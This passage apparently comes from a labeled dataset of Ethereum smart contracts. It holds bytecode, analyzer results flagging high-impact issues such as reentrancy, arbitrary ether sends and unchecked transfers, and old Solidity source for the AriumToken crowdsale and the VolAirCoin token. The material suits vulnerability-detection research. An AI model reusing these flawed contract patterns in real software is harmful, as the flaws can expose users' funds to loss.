e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e39190611479565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561074a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076e9190611496565b50565b6000546001600160a01b0316331461079b5760405162461bcd60e51b81526004016104d390611444565b60085481116107a957600080fd5b600855565b6000546001600160a01b031633146107d85760405162461bcd60e51b81526004016104d390611444565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461084c5760405162461bcd60e51b81526004016104d390611444565b600654811061085a57600080fd5b600655565b6000610436338484610af9565b6000546001600160a01b031633146108965760405162461bcd60e51b81526004016104d390611444565b600b546001600160a01b031663f305d71947306108c8816001600160a01b031660009081526001602052604090205490565b6000806108dd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610945573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096a91906114b8565b5050600c805460ff60b01b1916600160b01b17905550565b4761076e81610ef1565b60006109ce83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f2f565b9392505050565b6001600160a01b038316610a375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d3565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d3565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d3565b6001600160a01b038216610bbf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d3565b60008111610c215760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d3565b6001600160a01b03831660009081526004602052604090205460ff1615610c4757600080fd5b6000546001600160a01b03848116911614801590610c7357506000546001600160a01b03838116911614155b15610e5657600c546001600160a01b038481169116148015610ca35750600b546001600160a01b03838116911614155b8015610cc857506001600160a01b03821660009081526003602052604090205460ff16155b15610ded57600854811115610d1f5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d6974656400000000000060448201526064016104d3565b60095481610d42846001600160a01b031660009081526001602052604090205490565b610d4c91906114fc565b1115610d9a5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a650000000060448201526064016104d3565b600c54600160a01b900460ff16610db057600080fd5b600580546001600160a01b039081166000908152600460205260409020805460ff1916600117905581549084166001600160a01b03199091161790555b30600090815260016020526040902054600c54600160a81b900460ff16158015610e255750600c546001600160a01b03858116911614155b8015610e3a5750600c54600160b01b900460ff165b15610e5457610e4881610f5d565b47610e5247610ef1565b505b505b6001600160a01b038216600090815260036020526040902054610eb29084908490849060ff1680610e9f57506001600160a01b03871660009081526003602052604090205460ff165b610eab576006546110d7565b60006110d7565b505050565b60008184841115610edb5760405162461bcd60e51b81526004016104d391906112fe565b506000610ee88486611514565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f2b573d6000803e3d6000fd5b5050565b60008183610f505760405162461bcd60e51b81526004016104d391906112fe565b506000610ee8848661152b565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fa557610fa561154d565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ffe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110229190611479565b816001815181106110355761103561154d565b6001600160a01b039283166020918202929092010152600b5461105b91309116846109d5565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611094908590600090869030904290600401611563565b600060405180830381600087803b1580156110ae57600080fd5b505af11580156110c2573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006110ee60646110e885856111db565b9061098c565b905060006110fc848361125d565b6001600160a01b038716600090815260016020526040902054909150611122908561125d565b6001600160a01b038088166000908152600160205260408082209390935590871681522054611151908261129f565b6001600160a01b03861660009081526001602052604080822092909255308152205461117d908361129f565b3060009081526001602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826000036111ed5750600061043a565b60006111f983856115d4565b905082611206858361152b565b146109ce5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d3565b60006109ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eb7565b6000806112ac83856114fc565b9050838110156109ce5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d3565b600060208083528351808285015260005b8181101561132b5785810183015185820160400152820161130f565b8181111561133d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461076e57600080fd5b6000806040838503121561137b57600080fd5b823561138681611353565b946020939093013593505050565b6000806000606084860312156113a957600080fd5b83356113b481611353565b925060208401356113c481611353565b929592945050506040919091013590565b6000602082840312156113e757600080fd5b5035919050565b60006020828403121561140057600080fd5b81356109ce81611353565b6000806040838503121561141e57600080fd5b823561142981611353565b9150602083013561143981611353565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561148b57600080fd5b81516109ce81611353565b6000602082840312156114a857600080fd5b815180151581146109ce57600080fd5b6000806000606084860312156114cd57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b6000821982111561150f5761150f6114e6565b500190565b600082821015611526576115266114e6565b500390565b60008261154857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115b35784516001600160a01b03168352938301939183019160010161158e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156115ee576115ee6114e6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8de0c3dfb7e0997131586086d62212bdc80a28a236b6bcb53b122794304c1d864736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,530 |
0x3eb6025d2eb27f038508192bffb71ef823e9b3f8
|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract AriumToken is BurnableToken {
string public constant name = "Arium Token";
string public constant symbol = "ARM";
uint32 public constant decimals = 10;
uint256 public INITIAL_SUPPLY = 420000000000000000; // supply 42 000 000
function AriumToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract AriumCrowdsale is Ownable {
using SafeMath for uint;
address multisig;
uint restrictedPercent;
address restricted;
AriumToken public token;
uint start;
uint preico;
uint rate;
uint icostart;
uint ico;
function AriumCrowdsale(AriumToken _token) {
token=_token;
multisig = 0x661AD28e92d43Af07E1508e7A04f74E4a0D6728d; // ether holder
restricted = 0xC357d4e9601B11BF0d63a718228bfc021360E05E; // team holder
restrictedPercent = 13; // percent to team
rate = 10000000000000;
start = 1520496194; //start pre ico
preico = 30; // pre ico period
icostart= 1537760157; // ico start
ico = 60; // ico period
}
modifier saleIsOn() {
require((now > start && now < start + preico * 1 days) || (now > icostart && now < icostart + ico * 1 days ) );
_;
}
function createTokens() saleIsOn payable {
multisig.transfer(msg.value);
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = 0;
uint BonusPerAmount = 0;
if(msg.value >= 0.5 ether && msg.value < 1 ether){
BonusPerAmount = tokens.div(20); // 5% 5/100=1/20
} else if (msg.value >= 1 ether && msg.value < 5 ether){
BonusPerAmount = tokens.div(10); // 10%
} else if (msg.value >= 5 ether && msg.value < 10 ether){
BonusPerAmount = tokens.mul(15).div(100);
} else if (msg.value >= 10 ether && msg.value < 20 ether){
BonusPerAmount = tokens.div(5);
} else if (msg.value >= 20 ether){
BonusPerAmount = tokens.div(4);
}
if(now < start + (preico * 1 days).div(3)) {
bonusTokens = tokens.div(10).mul(3);
} else if(now >= start + (preico * 1 days).div(3) && now < start + (preico * 1 days).div(3).mul(2)) {
bonusTokens = tokens.div(5);
} else if(now >= start + (preico * 1 days).div(3).mul(2) && now < start + (preico * 1 days)) {
bonusTokens = tokens.div(10);
}
uint tokensWithBonus = tokens.add(BonusPerAmount);
tokensWithBonus = tokensWithBonus.add(bonusTokens);
token.transfer(msg.sender, tokensWithBonus);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100);
token.transfer(restricted, restrictedTokens);
}
function manualTransfer(address _to , uint ammount) saleIsOn onlyOwner payable{ //function for manual transfer(purchase with no ETH)
token.transfer(_to, rate.div(1000).mul(ammount));
token.transfer(restricted, rate.div(100000).mul(restrictedPercent).mul(ammount)); // transfer 13% to team balance
}
function BurnUnsoldToken(uint _value) onlyOwner payable{ // burn unsold token after
token.burn(_value);
}
function() external payable {
createTokens();
}
}
|
0x6060604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017357806323b872dd146101985780632ff2e9dc146101c0578063313ce567146101d357806342966c68146101ff57806370a082311461021757806395d89b4114610236578063a9059cbb14610249578063dd62ed3e1461026b575b600080fd5b34156100be57600080fd5b6100c6610290565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101025780820151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014857600080fd5b61015f600160a060020a03600435166024356102c7565b604051901515815260200160405180910390f35b341561017e57600080fd5b61018661036d565b60405190815260200160405180910390f35b34156101a357600080fd5b61015f600160a060020a0360043581169060243516604435610373565b34156101cb57600080fd5b610186610486565b34156101de57600080fd5b6101e661048c565b60405163ffffffff909116815260200160405180910390f35b341561020a57600080fd5b610215600435610491565b005b341561022257600080fd5b610186600160a060020a036004351661052f565b341561024157600080fd5b6100c661054a565b341561025457600080fd5b61015f600160a060020a0360043516602435610581565b341561027657600080fd5b610186600160a060020a0360043581169060243516610640565b60408051908101604052600b81527f417269756d20546f6b656e000000000000000000000000000000000000000000602082015281565b60008115806102f95750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561030457600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600160a060020a0380841660009081526002602090815260408083203385168452825280832054938616835260019091528120549091906103ba908463ffffffff61066b16565b600160a060020a0380861660009081526001602052604080822093909355908716815220546103ef908463ffffffff61068116565b600160a060020a038616600090815260016020526040902055610418818463ffffffff61068116565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b60035481565b600a81565b600080821161049f57600080fd5b5033600160a060020a0381166000908152600160205260409020546104c49083610681565b600160a060020a038216600090815260016020526040812091909155546104f1908363ffffffff61068116565b60005581600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca560405160405180910390a35050565b600160a060020a031660009081526001602052604090205490565b60408051908101604052600381527f41524d0000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a0333166000908152600160205260408120546105aa908363ffffffff61068116565b600160a060020a0333811660009081526001602052604080822093909355908516815220546105df908363ffffffff61066b16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282018381101561067a57fe5b9392505050565b60008282111561068d57fe5b509003905600a165627a7a7230582078cee1dd9cf4b08a4f63cda179f5be62d04805529595a06dbb82669d5a51de2f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,531 |
0x33c52ee4bd563a26071619bc6f70146295febe8d
|
pragma solidity ^0.4.24;
// Flattened VolAirCoin contract for etherscan validation
// This file should not be modified
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract VolAirCoin is StandardToken {
string public name = "VolAir Coin";
string public symbol = "VOL";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 500000000 * (10 ** decimals);
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102ba57806370a082311461031f57806395d89b4114610376578063a9059cbb14610406578063d73dd6231461046b578063dd62ed3e146104d0575b600080fd5b3480156100cb57600080fd5b506100d4610547565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105e5565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106d7565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a9b565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610aa1565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b50610305600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa7565b604051808215151515815260200191505060405180910390f35b34801561032b57600080fd5b50610360600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b5061038b610d80565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041257600080fd5b50610451600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1e565b604051808215151515815260200191505060405180910390f35b34801561047757600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103d565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610531600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611239565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105dd5780601f106105b2576101008083540402835291602001916105dd565b820191906000526020600020905b8154815290600101906020018083116105c057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561071e57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561076b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107f657600080fd5b610847826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108da826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ab82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b60055481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bb8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4c565b610bcb83826112c090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e165780601f10610deb57610100808354040283529160200191610e16565b820191906000526020600020905b8154815290600101906020018083